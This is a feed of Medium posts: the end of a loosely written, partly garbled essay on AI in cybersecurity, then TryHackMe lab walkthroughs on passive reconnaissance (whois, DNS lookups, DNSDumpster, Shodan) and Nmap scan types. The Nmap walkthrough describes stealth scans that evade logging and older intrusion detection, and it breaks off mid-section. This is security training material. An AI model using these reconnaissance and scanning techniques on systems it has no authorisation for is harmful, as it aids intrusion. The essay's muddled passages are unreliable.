automation across all sectors of the global economy. The most recent discussion on sentience is a crystal obvious indication of how serious and advanced AI has become in recent times. The other essential component of today’s technology society is something known as cybersecurity. Because of the growing dependency on data and the shift toward online services that require the biometric information of the user, security is a crucial component in the fight against data theft and the accompanying cybercrimes.</p><p>The use of AI has certainly led to improvements in cybersecurity techniques. AI enables real-time monitoring of internet traffic, which enables early detection of potential dangers and the implementation of preventative measures. This essential learning process, however, conceals numerous of AI in its current form’s drawbacks.</p><p><strong>10. Limitations and Drawbacks of AI for Cybersecurity</strong></p><p>Additionally, There is some limitations that prevent AI that is not a typical component of the majority of security systems, such as the following:</p><p><strong>Resources </strong>: Businesses must devote a lot of effort and money to developing and maintaining AI systems, as well as provide resources like power, memory and information.</p><p><strong>Sets of data:</strong> Learning data sets are employed to impart new skills to AI models. To perform their tasks successfully security teams require access to a variety of data sets comprising harmful codes malware codes and anomalies. Some firms just lack the time and resources necessary to acquire all of these detailed data sets.</p><p><strong>Also, hackers employ AI:</strong> Attackers are always trying to improve their malware so that AI-powered security systems won’t be able to identify it. Hackers create more complex attacks using existing AI tools as a learning resource which they then employ to target conventional security systems or even AI enhanced systems.</p><p><strong>Brain Fuzzing:</strong> The method of identifying flaws in software by running it through vast volumes of random input data is called “fuzzing.” The use of artificial intelligence in neural fuzzing allows for the rapid testing of significant quantities of random inputs. Nevertheless, there is a positive aspect to fuzzing as well. In order for hackers to discover the vulnerabilities of a target system, they must first gather information using the capabilities networks neural. Microsoft created a strategy to use this strategy to enhance their software leading to code that was more secure and challenging to exploit.</p><p><strong>11. The challenges of AI in Cyber Security</strong></p><p>There will always be downsides and restrictions associated with the incorporation of AI into cybersecurity systems. The two most frequent ones are adoption barriers and cybercriminals using artificial intelligence (AI).</p><p><strong>AI used by online crooks</strong></p><p>The usage of artificial intelligence (AI) has the potential to be both a powerful defensive instrument and a powerful</p><p>The term “fuzzing” refers to one of the most well-known methods of program analysis that hackers use. The primary purpose of this is to discover security flaws in complicated software. The primary goal of this method is to disclose vulnerabilities in the system by causing buffer overflows, crashes, memory problems, and exceptions.</p><p>use of AI to this method improves both the accuracy and effectiveness of the assault hence resulting in a perilous situation for the target.</p><p>Phishing is another area in which AI can be utilized. Phishing attacks that are powered by AI are able to navigate sensitive data more quickly and with less interruption than traditional attacks. This makes it easier for cybercriminals to extract only the information they need, and it also makes it more difficult to detect malware.</p><p><strong>Adoption Roadblocks.</strong></p><p>Given that artificial intelligence is a young sector, firms will need to invest a lot of money and time on computing power memory and data centers in order to create and maintain AI systems. However as technology develops, costs come down, making it possible to obtain high-quality servers at a more affordable price.</p><p>The use of artificial intelligence (AI) in cybersecurity is rapidly becoming essential for enterprises. However, the primary impediments that impede down its adoption and deployment are the procurement of skilled workers, the complexity of data, and the use of appropriate artificial intelligence tools.</p><p>IBM believes that a lack of talent is one of the most significant factors preventing the widespread adoption of AI. Approximately 37% of companies highlighted the challenge in recruiting personnel with the right degree of competence and understanding in artificial intelligence (AI). This is of the utmost importance for businesses that have not even began the process of implementing AI. The complexity of the data and the lack of the appropriate toolset are the primary challenges faced by enterprises that are in the later stages of rolling out AI.</p><p><strong>Conclusion</strong></p><p>A key piece of technology in order to increase the efficiency of IT security teams is artificial intelligence. AI gives security professionals the insight and threat detection they need to reduce breach risk and improve security posture. Artificial intelligence (AI) provides us with the critical analysis and threat identification we require. Humans are no longer able to scale to adequately protect an enterprise-level attack surface.</p><p>In addition to this, AI might assist with risk assessment and prioritization, incident response planning, and early malware attack detection.</p><p>Therefore, despite any potential downsides, artificial intelligence will advance cybersecurity and help companies build stronger security postures.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d41145bc0082" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TryHackme — Passive Reconnaissance]]></title>
            <link>https://medium.com/@chamithsandaru14/tryhackme-passive-reconnaissance-d01e0a1c0599?source=rss-31986af0c964------2</link>
            <guid isPermaLink="false">https://medium.com/p/d01e0a1c0599</guid>
            <dc:creator><![CDATA[Chamithsandaru]]></dc:creator>
            <pubDate>Thu, 22 Jun 2023 13:02:01 GMT</pubDate>
            <atom:updated>2023-06-22T13:02:01.128Z</atom:updated>
            <content:encoded><![CDATA[<h3>TryHackme — Passive Reconnaissance</h3><p><strong>Task 1 Introduction</strong></p><p>Welcome to the first room of the Network Security Module. This module covers:</p><ol><li><a href="https://tryhackme.com/room/passiverecon">Passive Reconnaissance</a></li><li><a href="https://tryhackme.com/room/activerecon">Active Reconnaissance</a></li><li><a href="https://tryhackme.com/room/nmap01">Nmap Live Host Discovery</a></li><li><a href="https://tryhackme.com/room/nmap02">Nmap Basic Port Scans</a></li><li><a href="https://tryhackme.com/room/nmap03">Nmap Advanced Port Scans</a></li><li><a href="https://tryhackme.com/room/nmap04">Nmap Post Port Scans</a></li><li><a href="https://tryhackme.com/room/protocolsandservers">Protocols and Servers</a></li><li><a href="https://tryhackme.com/room/protocolsandservers2">Protocols and Servers 2</a></li><li><a href="https://tryhackme.com/room/netsecchallenge">Network Security Challenge</a></li></ol><p>In this room, after we define passive reconnaissance and active reconnaissance, we focus on essential tools related to passive reconnaissance. We will learn three command-line tools:</p><ul><li>whois to query WHOIS servers</li><li>nslookup to query DNS servers</li><li>dig to query DNS servers</li></ul><p>We use whois to query WHOIS records, while we use nslookup and dig to query DNS database records. These are all publicly available records and hence do not alert the target.</p><p>We will also learn the usage of two online services:</p><ul><li>DNSDumpster</li><li>Shodan.io</li></ul><p>These two online services allow us to collect information about our target without directly connecting to it.</p><p>Pre-requisites: This room requires basic networking knowledge along with basic familiarity with the command line. The modules <a href="https://tryhackme.com/module/network-fundamentals">Network Fundamentals</a> and <a href="https://tryhackme.com/module/linux-fundamentals">Linux Fundamentals</a> provide the required knowledge if necessary.</p><p><strong><em>Important Notice</em></strong><em>: Please note that if you’re not subscribed, the AttackBox won’t have Internet access, so you will need to use the VPN to complete the questions</em></p><p><strong>Task 2 Passive Versus Active Recon</strong></p><p><em>This room expects the user to have a working knowledge of computer networks. If you like to brush up on this topic, you are encouraged to study the </em><a href="https://tryhackme.com/module/network-fundamentals"><em>Network Fundamentals</em></a><em> module first.</em></p><p>Before the dawn of computer systems and networks, in the Art of War, Sun Tzu taught, “If you know the enemy and know yourself, your victory will not stand in doubt.” If you are playing the role of an attacker, you need to gather information about your target systems. If you are playing the role of a defender, you need to know what your adversary will discover about your systems and networks.</p><p>Reconnaissance (recon) can be defined as a preliminary survey to gather information about a target. It is the first step in <a href="https://www.unifiedkillchain.com/">The Unified Kill Chain</a> to gain an initial foothold on a system. We divide reconnaissance into:</p><ol><li>Passive Reconnaissance</li><li>Active Reconnaissance</li></ol><p>In passive reconnaissance, you rely on publicly available knowledge. It is the knowledge that you can access from publicly available resources without directly engaging with the target. Think of it like you are looking at target territory from afar without stepping foot on that territory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*lncouqHfBFY5wxtu.png" /></figure><p>Passive reconnaissance activities include many activities, for instance:</p><ul><li>Looking up DNS records of a domain from a public DNS server.</li><li>Checking job ads related to the target website.</li><li>Reading news articles about the target company.</li></ul><p>Active reconnaissance, on the other hand, cannot be achieved so discreetly. It requires direct engagement with the target. Think of it like you check the locks on the doors and windows, among other potential entry points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/512/0*6Z_PsH_j6GKUOQo1.png" /></figure><p>Examples of active reconnaissance activities include:</p><ul><li>Connecting to one of the company servers such as HTTP, FTP, and SMTP.</li><li>Calling the company in an attempt to get information (social engineering).</li><li>Entering company premises pretending to be a repairman.</li></ul><p>Considering the invasive nature of active reconnaissance, one can quickly get into legal trouble unless one obtains proper legal authorisation.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EeWy8miyF8uZgepZyU0glQ.png" /></figure><p><strong>Task 3 Whois</strong></p><p><a href="https://who.is/">https://who.is/</a></p><p>WHOIS is a request and response protocol that follows the <a href="https://www.ietf.org/rfc/rfc3912.txt">RFC 3912</a> specification. A WHOIS server listens on TCP port 43 for incoming requests. The domain registrar is responsible for maintaining the WHOIS records for the domain names it is leasing. The WHOIS server replies with various information related to the domain requested. Of particular interest, we can learn:</p><ul><li>Registrar: Via which registrar was the domain name registered?</li><li>Contact info of registrant: Name, organization, address, phone, among other things. (unless made hidden via a privacy service)</li><li>Creation, update, and expiration dates: When was the domain name first registered? When was it last updated? And when does it need to be renewed?</li><li>Name Server: Which server to ask to resolve the domain name?</li></ul><p>To get this information, we need to use a whois client or an online service. Many online services provide whois information; however, it is generally faster and more convenient to use your local whois client. Using the AttackBox (or your local Linux machine, such as Parrot or Kali), you can easily access your whois client on the terminal. The syntax is whois DOMAIN_NAME, where DOMAIN_NAME is the domain about which you are trying to get more information. Consider the following example executing whois tryhackme.com.</p><p>Terminal</p><pre>user@TryHackMe$ whois tryhackme.com<br>[Querying whois.verisign-grs.com]<br>[Redirected to whois.namecheap.com]<br>[Querying whois.namecheap.com]<br>[whois.namecheap.com]<br>Domain name: tryhackme.com<br>Registry Domain ID: 2282723194_DOMAIN_COM-VRSN<br>Registrar WHOIS Server: whois.namecheap.com<br>Registrar URL: http://www.namecheap.com<br>Updated Date: 2021-05-01T19:43:23.31Z<br>Creation Date: 2018-07-05T19:46:15.00Z<br>Registrar Registration Expiration Date: 2027-07-05T19:46:15.00Z<br>Registrar: NAMECHEAP INC<br>Registrar IANA ID: 1068<br>Registrar Abuse Contact Email: abuse@namecheap.com<br>Registrar Abuse Contact Phone: +1.6613102107<br>Reseller: NAMECHEAP INC<br>Domain Status: clientTransferProhibited https://icann.org/epp#clientTransferProhibited<br>Registry Registrant ID: <br>Registrant Name: Withheld for Privacy Purposes<br>Registrant Organization: Privacy service provided by Withheld for Privacy ehf<br>[...]<br>URL of the ICANN WHOIS Data Problem Reporting System: http://wdprs.internic.net/<br>&gt;&gt;&gt; Last update of WHOIS database: 2021-08-25T14:58:29.57Z &lt;&lt;&lt;<br>For more information on Whois status codes, please visit https://icann.org/epp</pre><p>We can see plenty of information; we will inspect them in the order displayed. First, we notice that we were redirected to whois.namecheap.com to get our information. In this case and at the time being, namecheap.com is maintaining the WHOIS record for this domain name. Furthermore, we can see the creation date along with the last-update date and expiration date.</p><p>Next, we obtain information about the registrar and the registrant. We can find the registrant’s name and contact information unless they are using some privacy service. Although not displayed above, we get the admin and tech contacts for this domain. Finally, we see the domain name servers that we should query if we have any DNS records to look up.</p><p>The information collected can be inspected to find new attack surfaces, such as social engineering or technical attacks. For instance, depending on the scope of the penetration test, you might consider an attack against the email server of the admin user or the DNS servers, assuming they are owned by your client and fall within the scope of the penetration test.</p><p>It is important to note that due to automated tools abusing WHOIS queries to harvest email addresses, many WHOIS services take measures against this. They might redact email addresses, for instance. Moreover, many registrants subscribe to privacy services to avoid their email addresses being harvested by spammers and keep their information private.</p><p>On the AttackBox, open the terminal and run the whois tryhackme.com command to get the information you need to answer the following questions.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/633/1*-uhqNO-SMbwgki568USNOQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m0B_hedzxxroDpCq1wt-SQ.png" /></figure><p><strong>Task 4 nslookup and dig</strong></p><p>In the previous task, we used the WHOIS protocol to get various information about the domain name we were looking up. In particular, we were able to get the DNS servers from the registrar.</p><p>Find the IP address of a domain name using nslookup, which stands for Name Server Look Up. You need to issue the command nslookup DOMAIN_NAME, for example, nslookup tryhackme.com. Or, more generally, you can use nslookup OPTIONS DOMAIN_NAME SERVER. These three main parameters are:</p><ul><li>OPTIONS contains the query type as shown in the table below. For instance, you can use A for IPv4 addresses and AAAA for IPv6 addresses.</li><li>DOMAIN_NAME is the domain name you are looking up.</li><li>SERVER is the DNS server that you want to query. You can choose any local or public DNS server to query. Cloudflare offers 1.1.1.1 and 1.0.0.1, Google offers 8.8.8.8 and 8.8.4.4, and Quad9 offers 9.9.9.9 and 149.112.112.112. There are many <a href="https://duckduckgo.com/?q=public+dns">more public DNS servers</a> that you can choose from if you want alternatives to your ISP’s DNS servers.</li></ul><p>Query typeResultAIPv4 AddressesAAAAIPv6 AddressesCNAMECanonical NameMXMail ServersSOAStart of AuthorityTXTTXT Records</p><p>For instance, nslookup -type=A tryhackme.com 1.1.1.1 (or nslookup -type=a tryhackme.com 1.1.1.1 as it is case-insensitive) can be used to return all the IPv4 addresses used by tryhackme.com.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*YfGDZoP98vjdxUkUB-3SgA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bqnz6x8jJdE4c0Dj34ZFhQ.png" /></figure><p><strong>Task 5 DNSDumpster</strong></p><p><a href="https://dnsdumpster.com/">https://dnsdumpster.com/</a></p><p>DNS lookup tools, such as nslookup and dig, cannot find subdomains on their own. The domain you are inspecting might include a different subdomain that can reveal much information about the target. For instance, if tryhackme.com has the subdomains wiki.tryhackme.com and webmail.tryhackme.com, you want to learn more about these two as they can hold a trove of information about your target. There is a possibility that one of these subdomains has been set up and is not updated regularly. Lack of proper regular updates usually leads to vulnerable services. But how can we know that such subdomains exist?</p><p>We can consider using multiple search engines to compile a list of publicly known subdomains. One search engine won’t be enough; moreover, we should expect to go through at least tens of results to find interesting data. After all, you are looking for subdomains that are not explicitly advertised, and hence it is not necessary to make it to the first page of search results. Another approach to discover such subdomains would be to rely on brute-forcing queries to find which subdomains have DNS records.</p><p>To avoid such a time-consuming search, one can use an online service that offers detailed answers to DNS queries, such as <a href="https://dnsdumpster.com/">DNSDumpster</a>. If we search DNSDumpster for tryhackme.com, we will discover the subdomain blog.tryhackme.com, which a typical DNS query cannot provide. In addition, DNSDumpster will return the collected DNS information in easy-to-read tables and a graph. DNSDumpster will also provide any collected information about listening servers.</p><p>We will search for tryhackme.com on DNSDumpster to give you a glimpse of the expected output. Among the results, we got a list of DNS servers for the domain we are looking up. DNSDumpster also resolved the domain names to IP addresses and even tried to geolocate them. We can also see the MX records; DNSDumpster resolved all five mail exchange servers to their respective IP addresses and provided more information about the owner and location. Finally, we can see TXT records. Practically a single query was enough to retrieve all this information.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*i-Y_tNxeLLihfh-c.png" /></figure><p>DNSDumpster will also represent the collected information graphically. DNSDumpster displayed the data from the table earlier as a graph. You can see the DNS and MX branching to their respective servers and also showing the IP addresses.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*t407gEXSmTOwdh-z.png" /></figure><p>There is currently a beta feature that allows you to export the graph as well. You can manipulate the graph and move blocks around if needed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NBioXfHKk7qAH3ZIfxizIg.png" /></figure><p><strong>Task 6 Shodan.io</strong></p><p><a href="https://www.shodan.io/">https://www.shodan.io/</a></p><p>When you are tasked to run a penetration test against specific targets, as part of the passive reconnaissance phase, a service like <a href="https://www.shodan.io/">Shodan.io</a> can be helpful to learn various pieces of information about the client’s network, without actively connecting to it. Furthermore, on the defensive side, you can use different services from Shodan.io to learn about connected and exposed devices belonging to your organization.</p><p>Shodan.io tries to connect to every device reachable online to build a search engine of connected “things” in contrast with a search engine for web pages. Once it gets a response, it collects all the information related to the service and saves it in the database to make it searchable. Consider the saved record of one of tryhackme.com’s servers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MgS4lHUFN9z0A3Mo.png" /></figure><p>This record shows a web server; however, as mentioned already, Shodan.io collects information related to any device it can find connected online. Searching for tryhackme.com on Shodan.io will display at least the record shown in the screenshot above. Via this Shodan.io search result, we can learn several things related to our search, such as:</p><ul><li>IP address</li><li>hosting company</li><li>geographic location</li><li>server type and version</li></ul><p>You may also try searching for the IP addresses you have obtained from DNS lookups. These are, of course, more subject to change. On their <a href="https://help.shodan.io/the-basics/search-query-fundamentals">help page</a>, you can learn about all the search options available at Shodan.io, and you are encouraged to join TryHackMe’s <a href="https://tryhackme.com/room/shodan">Shodan.io</a>.</p><p>It would be best to visit Shodan.io to answer the following questions; however, note that you can find the answers on Shodan.io without needing a premium account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vwrkNG2VdCKVo9JnCmIcJg.png" /></figure><p><strong>Task 7 Summary</strong></p><p>In this room, we focused on passive reconnaissance. In particular, we covered command-line tools, whois, nslookup, and dig. We also discussed two publicly available services <a href="https://dnsdumpster.com/">DNSDumpster</a> and <a href="https://www.shodan.io/">Shodan.io</a>. The power of such tools is that you can collect information about your targets without directly connecting to them. Moreover, the trove of information you may find using such tools can be massive once you master the search options and get used to reading the results.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EV1S0Yf57qgyLACSBPBLMg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d01e0a1c0599" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Tryhackme — Nmap]]></title>
            <link>https://medium.com/@chamithsandaru14/tryhackme-nmap-f70755b1a5be?source=rss-31986af0c964------2</link>
            <guid isPermaLink="false">https://medium.com/p/f70755b1a5be</guid>
            <dc:creator><![CDATA[Chamithsandaru]]></dc:creator>
            <pubDate>Sat, 08 Apr 2023 15:57:02 GMT</pubDate>
            <atom:updated>2023-04-08T15:57:02.974Z</atom:updated>
            <content:encoded><![CDATA[<h3>Tryhackme — Nmap</h3><p><a href="https://tryhackme.com/room/furthernmap">Nmap</a></p><h3><strong>Task 2 Introduction</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Q20FGBXPUyzBubrejtd8w.png" /></figure><h3><strong>Task 3 Nmap Switches</strong></h3><p>Like most pentesting tools, nmap is run from the terminal. There are versions available for both Windows and Linux. For this room we will assume that you are using Linux; however, the switches should be identical. Nmap is installed by default in both Kali Linux and the <a href="https://tryhackme.com/my-machine">TryHackMe Attack Box.</a></p><p>Nmap can be accessed by typing nmap into the terminal command line, followed by some of the &quot;switches&quot; (command arguments which tell a program to do different things) we will be covering below.</p><p>All you’ll need for this is the help menu for nmap (accessed with nmap -h) and/or the nmap man page (access with man nmap). For each answer, include all parts of the switch unless otherwise specified. This includes the hyphen at the start (-).</p><p>Type “ nmap -h” on your kali terminal</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*7swoDmB92-KHdmEog4zyUg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/702/1*jjhp8VzxnENxO8yLyc00IA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*reyQ5asdhPZv4loZYnnvDg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/787/1*wHDQ46rLIZPBOa8dwVJbeA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1002/1*ZqZ7Ji35hG1MPtRUFl91nA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*KACCA5u12kNLol6iDp_2RQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*rlVd8KqqM2xZEC_lbc7xeQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/736/1*T6HO9gC0C2-kRcvi_O1Daw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*JxsLiGZbDITKY5xf3rdKlA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*9rsqvPV8TCNXTV-8rKv45A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1016/1*5pXq-Zm4TcfYEGGEgAsamA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/722/1*Q3ZuvvJAUFn74KnLDGM7gQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hYsqID9ZijhSAWL-nLoJVQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*Ic0U9zjliT0ZfteN5m5vfw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*jSDcVqJIona3Onsp4PlD2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/726/1*q0cE-6ZzqUY6Fhm3HH80sw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/998/1*m_egaHF_P94wL87x3cJZrQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/707/1*is7i5g4nk0MZ-nEDgmV32w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*G9OSNfI5oiew0-P8y0jGxQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/832/1*43ERjW_juaig6j-Kr_uapA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/972/1*mE8D7Jo60YDdlCHalsq-KA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/518/1*ztNF4QZf_kX0H-4HB7i4FQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*A9fKMIW0sBXuh4ZiJLGG4Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*58WIlZ5gJWmW53D2yUuj2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/980/1*NnAEOVd50KFHYzoaOgQA2w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/978/1*wywbjZ9d_yxIehXIpDHz5Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/970/1*04wl-l43WUwTUT9xS9dKZw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*cs3QMQmaerJLpEb-HynR5A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VXvZB_nZwZNrV9j2Jjq-TQ.png" /></figure><h3>Task 4 <strong>Scan Types</strong> Overview</h3><p>When port scanning with Nmap, there are three basic scan types. These are:</p><ul><li>TCP Connect Scans (-sT)</li><li>SYN “Half-open” Scans (-sS)</li><li>UDP Scans (-sU)</li></ul><p>Additionally there are several less common port scan types, some of which we will also cover (albeit in less detail). These are:</p><ul><li>TCP Null Scans (-sN)</li><li>TCP FIN Scans (-sF)</li><li>TCP Xmas Scans (-sX)</li></ul><p>Most of these (with the exception of UDP scans) are used for very similar purposes, however, the way that they work differs between each scan. This means that, whilst one of the first three scans are likely to be your go-to in most situations, it’s worth bearing in mind that other scan types exist.</p><p>In terms of network scanning, we will also look briefly at ICMP (or “ping”) scanning.</p><h3>Task 5 <strong>Scan Types</strong> TCP Connect Scans</h3><p>To understand TCP Connect scans (-sT), it&#39;s important that you&#39;re comfortable with the <em>TCP three-way handshake</em>. If this term is new to you then completing <a href="https://tryhackme.com/room/introtonetworking">Introductory Networking</a> before continuing would be advisable.</p><p>As a brief recap, the three-way handshake consists of three stages. First the connecting terminal (our attacking machine, in this instance) sends a TCP request to the target server with the SYN flag set. The server then acknowledges this packet with a TCP response containing the SYN flag, as well as the ACK flag. Finally, our terminal completes the handshake by sending a TCP request with the ACK flag set.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/613/0*FgOnsjbeYXyAhtak.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*5c9LZrlYw1-Um-wl.png" /></figure><p>This is one of the fundamental principles of TCP/IP networking, but how does it relate to Nmap?</p><p>Well, as the name suggests, a TCP Connect scan works by performing the three-way handshake with each target port in turn. In other words, Nmap tries to connect to each specified TCP port, and determines whether the service is open by the response it receives.</p><p>For example, if a port is closed, <a href="https://tools.ietf.org/html/rfc793">RFC 793</a> states that:</p><p><em>“… If the connection does not exist (CLOSED) then a reset is sent in response to any incoming segment except another reset. In particular, SYNs addressed to a non-existent connection are rejected by this means.”</em></p><p>In other words, if Nmap sends a TCP request with the <em>SYN</em> flag set to a <strong><em>closed</em></strong> port, the target server will respond with a TCP packet with the <em>RST</em> (Reset) flag set. By this response, Nmap can establish that the port is closed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/262/0*icxl0vuEj5o31EhX.png" /></figure><p>If, however, the request is sent to an <em>open</em> port, the target will respond with a TCP packet with the SYN/ACK flags set. Nmap then marks this port as being <em>open</em> (and completes the handshake by sending back a TCP packet with ACK set).</p><p>This is all well and good, however, there is a third possibility.</p><p>What if the port is open, but hidden behind a firewall?</p><p>Many firewalls are configured to simply <strong>drop</strong> incoming packets. Nmap sends a TCP SYN request, and receives nothing back. This indicates that the port is being protected by a firewall and thus the port is considered to be <em>filtered</em>.</p><p>That said, it is very easy to configure a firewall to respond with a RST TCP packet. For example, in IPtables for Linux, a simple version of the command would be as follows:</p><p>iptables -I INPUT -p tcp --dport &lt;port&gt; -j REJECT --reject-with tcp-reset</p><p>This can make it extremely difficult (if not impossible) to get an accurate reading of the target(s).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6G4IbjbWqSAtWe5XnGE10A.png" /></figure><h3>Task 6 <strong>Scan Types</strong> SYN Scans</h3><p>As with TCP scans, SYN scans (-sS) are used to scan the TCP port-range of a target or targets; however, the two scan types work slightly differently. SYN scans are sometimes referred to as &quot;<em>Half-open&quot; </em>scans, or <em>&quot;Stealth&quot;</em> scans.</p><p>Where TCP scans perform a full three-way handshake with the target, SYN scans sends back a RST TCP packet after receiving a SYN/ACK from the server (this prevents the server from repeatedly trying to make the request). In other words, the sequence for scanning an <strong>open</strong> port looks like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/272/0*bbfQ2-eSd3HyZW2i.png" /></figure><p>This has a variety of advantages for us as hackers:</p><ul><li>It can be used to bypass older Intrusion Detection systems as they are looking out for a full three way handshake. This is often no longer the case with modern IDS solutions; it is for this reason that SYN scans are still frequently referred to as “stealth” scans.</li><li>SYN scans are often not logged by applications listening on open ports, as standard practice is to log a connection once it’s been fully established. Again, this plays into the idea of SYN scans being stealthy.</li><li>Without having to bother about completing (and disconnecting from) a three-way handshake for every port, SYN scans are significantly faster than a standard TCP Connect scan.</li></ul><p>There are, however, a couple of disadvantages to SYN scans, namely:</p><ul><li>They require sudo permissions[1] in order to work correctly in Linux. This is because SYN scans require the ability to create raw packets (as opposed to the full TCP handshake), which is a privilege only the root user has by default.</li><li>Unstable services are sometimes brought down by SYN scans, which could prove problematic if a client has provided a production environment for the test.</li></ul><p>All in all, the pros outweigh the cons.</p><p>For this reason, SYN scans are the default scans used by Nmap <em>if run with sudo permissions</em>. If run <strong>without</strong> sudo permissions, Nmap defaults to the TCP Connect scan we saw in the previous task.</p><p>When using a SYN scan to identify closed and filtered ports, the exact same rules as with a TCP Connect scan apply.</p><p>If a port is closed then the server responds with a RST TCP packet. If the port is filtered by a firewall then the TCP SYN packet is either dropped, or spoofed with a TCP reset.</p><p>In this regard, the two scans are identical: the big difference is in how they handle <em>open</em> ports.</p><p>[1] SYN scans can also be made to work by giving Nmap the CAP_NET_RAW, CAP_NET_ADMIN and CAP_NET_BIND_SERVICE capabilities; however, this may not allow many of the NSE scripts to run properly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*w5W5hZUp5KU11MWdSn9ocg.png" /></figure><h3>Task 7 <strong>Scan Types</strong> UDP Scans</h3><p>Unlike TCP, UDP connections are <em>stateless</em>. This means that, rather than initiating a connection with a back-and-forth “handshake”, UDP connections rely on sending packets to a target port and essentially hoping that they make it. This makes UDP superb for connections which rely on speed over quality (e.g. video sharing), but the lack of acknowledgement makes UDP significantly more difficult (and much slower) to scan. The switch for an Nmap UDP scan is (-sU)</p><p>When a packet is sent to an open UDP port, there should be no response. When this happens, Nmap refers to the port as being open|filtered. In other words, it suspects that the port is open, but it could be firewalled. If it gets a UDP response (which is very unusual), then the port is marked as <em>open</em>. More commonly there is no response, in which case the request is sent a second time as a double-check. If there is still no response then the port is marked <em>open|filtered</em> and Nmap moves on.</p><p>When a packet is sent to a <em>closed</em> UDP port, the target should respond with an ICMP (ping) packet containing a message that the port is unreachable. This clearly identifies closed ports, which Nmap marks as such and moves on.</p><p>Due to this difficulty in identifying whether a UDP port is actually open, UDP scans tend to be incredibly slow in comparison to the various TCP scans (in the region of 20 minutes to scan the first 1000 ports, with a good connection). For this reason it’s usually good practice to run an Nmap scan with --top-ports &lt;number&gt; enabled. For example, scanning with nmap -sU --top-ports 20 &lt;target&gt;. Will scan the top 20 most commonly used UDP ports, resulting in a much more acceptable scan time.</p><p>When scanning UDP ports, Nmap usually sends completely empty requests — just raw UDP packets. That said, for ports which are usually occupied by well-known services, it will instead send a protocol-specific payload which is more likely to elicit a response from which a more accurate result can be drawn.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nfdBd_k3Nsb89gAsuNrsCQ.png" /></figure><h3>Task 8 <strong>Scan Types</strong> NULL, FIN and Xmas</h3><p>NULL, FIN and Xmas TCP port scans are less commonly used than any of the others we’ve covered already, so we will not go into a huge amount of depth here. All three are interlinked and are used primarily as they tend to be even stealthier, relatively speaking, than a SYN “stealth” scan. Beginning with NULL scans:</p><ul><li>As the name suggests, NULL scans (-sN) are when the TCP request is sent with no flags set at all. As per the RFC, the target host should respond with a RST if the port is closed.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1020/0*6kXiR-32WZVeB3vH.png" /></figure><ul><li>FIN scans (-sF) work in an almost identical fashion; however, instead of sending a completely empty packet, 